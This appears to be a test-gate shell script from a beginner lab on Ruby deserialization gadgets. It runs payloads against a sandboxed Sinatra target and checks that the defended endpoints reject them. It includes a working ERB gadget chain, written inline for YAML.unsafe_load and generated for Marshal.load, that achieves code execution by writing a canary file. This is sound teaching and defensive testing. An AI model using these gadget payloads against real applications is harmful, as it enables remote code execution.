Cybersecurity-Projects/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh

315 lines
11 KiB
Bash
Executable File

#!/usr/bin/env bash
# ©AngelaMos | 2026
# target-gate.sh
set -uo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
IMAGE="marshalsea-target:local"
CONTAINER="marshalsea-target-gate"
NETWORK="marshalsea-target-gate-net"
BUILD_IMAGE="ruby:4.0-slim"
CANARY_PATH="/tmp/marshalsea-canary"
CANARY_MARKER="fired"
TARGET_BASE="http://${CONTAINER}:4567"
PINNED_GEMS="rack 3.2.6 sinatra 4.2.1 rackup 2.3.1 webrick 1.9.2"
cleanup() {
docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
}
trap cleanup EXIT
failures=0
fail() {
echo " FAIL $1"
failures=$((failures + 1))
}
pass() {
echo " PASS $1"
}
echo "building target image"
docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || {
echo "FAIL image build"
exit 1
}
cleanup
docker network create --internal "${NETWORK}" >/dev/null || {
echo "FAIL could not create the isolated network"
exit 1
}
docker run -d --name "${CONTAINER}" \
--network "${NETWORK}" \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
--cap-drop ALL \
--security-opt no-new-privileges \
--pids-limit 128 \
--memory 256m \
"${IMAGE}" >/dev/null
client() {
local path="$1"
local cookie="${2:-}"
docker run --rm --network "${NETWORK}" \
-e "TARGET_BASE=${TARGET_BASE}" \
-v "${HERE}/scripts/target_client.rb:/client.rb:ro" \
"${BUILD_IMAGE}" ruby /client.rb "${path}" "${cookie}" 2>/dev/null
}
status_of() { printf '%s' "$1" | head -1 | cut -f1; }
body_of() { printf '%s' "$1" | tail -n +2; }
for _ in $(seq 1 40); do
[[ "$(status_of "$(client /)")" == "200" ]] && break
sleep 0.5
done
root="$(client /)"
if [[ "$(status_of "${root}")" != "200" ]]; then
echo "FAIL target never became reachable inside ${NETWORK}"
docker logs "${CONTAINER}" 2>&1 | tail -20
exit 1
fi
echo
body_of "${root}" | head -3
echo
echo "=== 1 isolation ==="
egress="$(docker run --rm --network "${NETWORK}" "${BUILD_IMAGE}" \
sh -c 'timeout 6 getent hosts rubygems.org >/dev/null 2>&1 && echo REACHED || echo BLOCKED' 2>/dev/null)"
if [[ "${egress}" == "BLOCKED" ]]; then
pass "the network that runs attacker Ruby has no route off the host"
else
fail "the target network reaches the internet, so a payload can too"
fi
resolved="$(docker run --rm --network none "${IMAGE}" \
ruby -e 'print %w[rack sinatra rackup webrick].map { |g|
"#{g} #{Gem::Specification.find_all_by_name(g).map(&:version).max}" }.join(" ")' 2>/dev/null)"
echo " resolved: ${resolved}"
if [[ "${resolved}" == "${PINNED_GEMS}" ]]; then
pass "the image ships exactly the pinned dependency versions"
else
fail "dependency drift: expected '${PINNED_GEMS}'"
fi
echo
echo "=== 2 the vulnerable endpoint ==="
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
require "base64"
chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired")
state = { user: "attacker", template: chain.generate }
print Base64.strict_encode64(Marshal.dump(state))
')"
if [[ -z "${payload}" ]]; then
echo "FAIL payload generation produced nothing"
exit 1
fi
before="$(body_of "$(client /canary)")"
vulnerable="$(client /render "session_state=${payload}")"
after="$(body_of "$(client /canary)")"
echo " vulnerable endpoint : $(status_of "${vulnerable}") $(body_of "${vulnerable}")"
echo " canary before/after : ${before} -> ${after}"
if [[ "${before}" == "absent" && "${after}" == "${CANARY_MARKER}" &&
"$(status_of "${vulnerable}")" == "200" ]]; then
pass "HTTP request achieved code execution through Marshal.load"
else
fail "payload did not execute over HTTP with a 200"
fi
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
echo
echo "=== 3 the defended endpoint ==="
reset="$(body_of "$(client /canary)")"
defended="$(client /render/safe "session_state=${payload}")"
defended_after="$(body_of "$(client /canary)")"
echo " defended endpoint : $(status_of "${defended}") $(body_of "${defended}")"
echo " canary before/after : ${reset} -> ${defended_after}"
if [[ "$(status_of "${defended}")" == "400" && "$(body_of "${defended}")" == rejected:* &&
"${defended_after}" != "${CANARY_MARKER}" ]]; then
pass "defended endpoint answered 400 with a rejection and created no canary"
else
fail "defended endpoint did not reject the identical payload with a 400"
fi
benign="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "base64"
print Base64.strict_encode64(Marshal.dump({ user: "guest", template: "hello" }))
')"
legitimate="$(client /render/safe "session_state=${benign}")"
echo " benign on defended : $(status_of "${legitimate}") $(body_of "${legitimate}")"
if [[ "$(status_of "${legitimate}")" == "200" &&
"$(body_of "${legitimate}")" == "rendered template for guest" ]]; then
pass "defended endpoint still serves a legitimate session with an exact body"
else
fail "defended endpoint does not serve legitimate sessions, it is not a filter"
fi
echo
echo "=== 4 every response is a contract, not a prefix ==="
encode() {
docker run --rm --network none "${BUILD_IMAGE}" \
ruby -e "require \"base64\"; print Base64.strict_encode64(Marshal.dump($1))"
}
check_contract() {
local label="$1" path="$2" cookie="$3" want_status="$4" want_body="$5"
local response status body
response="$(client "${path}" "${cookie}")"
status="$(status_of "${response}")"
body="$(body_of "${response}")"
printf ' %-34s HTTP %-4s %s\n' "${label}" "${status}" "${body:0:56}"
if [[ "${status}" == "${want_status}" && "${body}" == ${want_body} ]]; then
pass "${label}"
else
fail "${label}: wanted HTTP ${want_status} matching '${want_body}'"
fi
}
for root_value in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do
check_contract "root ${root_value} is refused" /render/safe \
"session_state=$(encode "${root_value}")" 400 'rejected: payload is not a session hash'
done
check_contract "no cookie is refused" /render/safe "" 400 "no session cookie"
check_contract "malformed base64 is refused" /render/safe "session_state=!!!not-base64!!!" \
400 "no session cookie"
echo
echo "=== 4b the same lesson in YAML ==="
yaml_payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
require "base64"
src = "#\nend\nFile.write(%q{/tmp/marshalsea-canary}, %q{fired})\ndef _unused\n"
document = <<~YAML
---
:user: attacker
:template: !ruby/object:ERB
src: #{src.inspect}
filename: "(erb)"
lineno: 0
YAML
print Base64.strict_encode64(document)
')"
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
yaml_before="$(body_of "$(client /canary)")"
yaml_vuln="$(client /yaml/unsafe "session_state=${yaml_payload}")"
yaml_after="$(body_of "$(client /canary)")"
echo " yaml unsafe endpoint: $(status_of "${yaml_vuln}") $(body_of "${yaml_vuln}")"
echo " canary before/after : ${yaml_before} -> ${yaml_after}"
if [[ "${yaml_before}" != "${CANARY_MARKER}" && "${yaml_after}" == "${CANARY_MARKER}" ]]; then
pass "YAML.unsafe_load reaches the same code execution as Marshal.load"
else
fail "the YAML payload did not execute over HTTP"
fi
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
yaml_safe="$(client /yaml/safe "session_state=${yaml_payload}")"
yaml_safe_after="$(body_of "$(client /canary)")"
echo " yaml safe endpoint : $(status_of "${yaml_safe}") $(body_of "${yaml_safe}")"
if [[ "$(status_of "${yaml_safe}")" == "400" && "${yaml_safe_after}" != "${CANARY_MARKER}" &&
"$(body_of "${yaml_safe}")" == *"ERB"* ]]; then
pass "the YAML defence names ERB and creates no canary"
else
fail "the YAML defence did not reject the identical document"
fi
aliased="$(docker run --rm --network none "${BUILD_IMAGE}" ruby -e '
require "base64"
print Base64.strict_encode64("---\n:user: &u guest\n:template: *u\n")
')"
alias_body="$(client /yaml/safe "session_state=${aliased}")"
echo " inspector-approved, Psych-refused: $(status_of "${alias_body}") $(body_of "${alias_body}")"
if [[ "$(status_of "${alias_body}")" == "400" &&
"$(body_of "${alias_body}")" == *"Psych refused"* ]]; then
pass "Psych's own veto is live and not alibied by the inspector"
else
fail "the inspector approved this document and nothing else stopped it"
fi
echo
echo "=== 5 the class allowlist, not a parse error ==="
class_named() {
docker run --rm --network none "${BUILD_IMAGE}" ruby -e "
require \"base64\"
def sym(n) = \":\" + (n.bytesize + 5).chr + n
def str(s) = %q(\") + (s.bytesize + 5).chr + s
print Base64.strict_encode64($1)
"
}
for probe in 'Marshal.dump(Object.new)' '("\x04\x08C" + sym("String") + str("hi")).b'; do
named="$(client /render/safe "session_state=$(class_named "${probe}")")"
echo " class-named stream : $(status_of "${named}") $(body_of "${named}")"
if [[ "$(status_of "${named}")" == "400" && "$(body_of "${named}")" == *"unapproved class"* ]]; then
pass "refused on the class name itself, not on a parse error"
else
fail "PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first"
fi
done
echo
echo "=== 6 error responses leak nothing ==="
leaked=0
for probe in "session_state=$(encode 'nil')" "session_state=!!!"; do
for path in /render /render/safe; do
body="$(body_of "$(client "${path}" "${probe}")")"
if echo "${body}" | grep -qE "app\.rb|/app/lib|marshalsea/marshal"; then
leaked=1
fi
done
done
if [[ ${leaked} -eq 0 ]]; then
pass "error responses leak no source path or source line"
else
fail "an error response leaked source paths or source lines"
fi
echo
echo "=== 7 the chain carries no sink tag ==="
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired")
blob = Marshal.dump({ user: "attacker", template: chain.generate })
print Marshalsea::Marshal::Parser.new(blob).parse.sinks.length
')"
echo " sink-tag hits on the working payload : ${sinks}"
if [[ "${sinks}" == "0" ]]; then
echo " NOTE sink detection alone does NOT catch this chain, only the class"
echo " allowlist does. ERB defines no marshal_load, so it serializes as"
echo " a plain object and carries no sink tag."
else
fail "expected the ERB chain to carry no sink tag, got ${sinks}"
fi
echo
if [[ ${failures} -eq 0 ]]; then
echo "GATE PASSED"
exit 0
fi
echo "GATE FAILED (${failures})"
exit 1